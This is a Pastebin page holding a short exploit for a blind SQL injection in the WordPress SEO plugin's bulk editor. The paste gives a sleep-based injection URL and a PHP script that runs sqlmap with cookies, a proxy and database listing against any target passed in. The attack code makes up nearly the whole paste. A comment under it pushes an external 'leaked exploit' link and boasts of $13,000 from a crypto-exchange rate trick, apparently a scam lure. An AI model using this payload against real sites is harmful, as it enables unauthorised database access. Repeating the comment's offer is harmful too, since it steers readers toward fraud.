Googleinurl

[MINI EXPLOIT]SQL vulnerability in WordPress SEO - Blind SQL

Mar 12th, 2015
13,756
0
Never
12
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.86 KB | None | 0 0
  1. [+] SQL vulnerability in WordPress SEO - Blind SQL
  2.  
  3. $target = "_TARGET_";
  4. $exploit = "/wp-admin/admin.php?page=wpseo_bulk-editor&type=title&orderby=post_date%2c(select%20*%20from%20(select(sleep(10)))a)&order=asc";
  5.  
  6.  
  7. [+]  Using SQLMap:
  8.  
  9. <?php
  10. set_time_limit(0);
  11. echo "[+]  MINI exploit-SQLMAP / SQL vulnerability in WordPress SEO - Blind SQL\n";
  12. $target = isset($argv[1]) ? (strstr($argv[1], 'http') ? $argv[1] : "http://{$argv[1]}")  : exit("\n0x[ERRO] DEFINE TARGET!\n");
  13. $command = "python ../sqlmap/sqlmap.py -u '{$target}/wp-admin/admin.php?page=wpseo_bulk-editor&type=title&orderby=post_date*&order=asc' --batch --dbms=MySQL --cookie='wordpress_9d...; wordpress_logged_in_9dee67...;' --proxy 'http://localhost:8118' --random-agent --level 2 --risk 1 --technique=B --eta --answers='follow=N' --dbs";
  14. system($command, $dados).empty($dados[0]) ? exit() : NULL;
Advertisement
Comments
  • User was banned
  • BassMaxAttack
    162 days
    # CSS 0.78 KB | 0 0
    1. ✅ Leaked Exploit Documentation:
    2.  
    3. https://rawtext.host/raw?44lh4m
    4.  
    5. This made me $13,000 in 2 days.
    6.  
    7. Important: If you plan to use the exploit more than once, remember that after the first successful swap you must wait 24 hours before using it again. Otherwise, there is a high chance that your transaction will be flagged for additional verification, and if that happens, you won't receive the extra 38% — they will simply correct the exchange rate.
    8. The first COMPLETED transaction always goes through — this has been tested and confirmed over the last days.
    9.  
    10. Edit: I've gotten a lot of questions about the maximum amount it works for — as far as I know, there is no maximum amount. The only limit is the 24-hour cooldown (1 use per day without any verification from Swapzone — instant swap).
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
Add Comment
Please, Sign In to add comment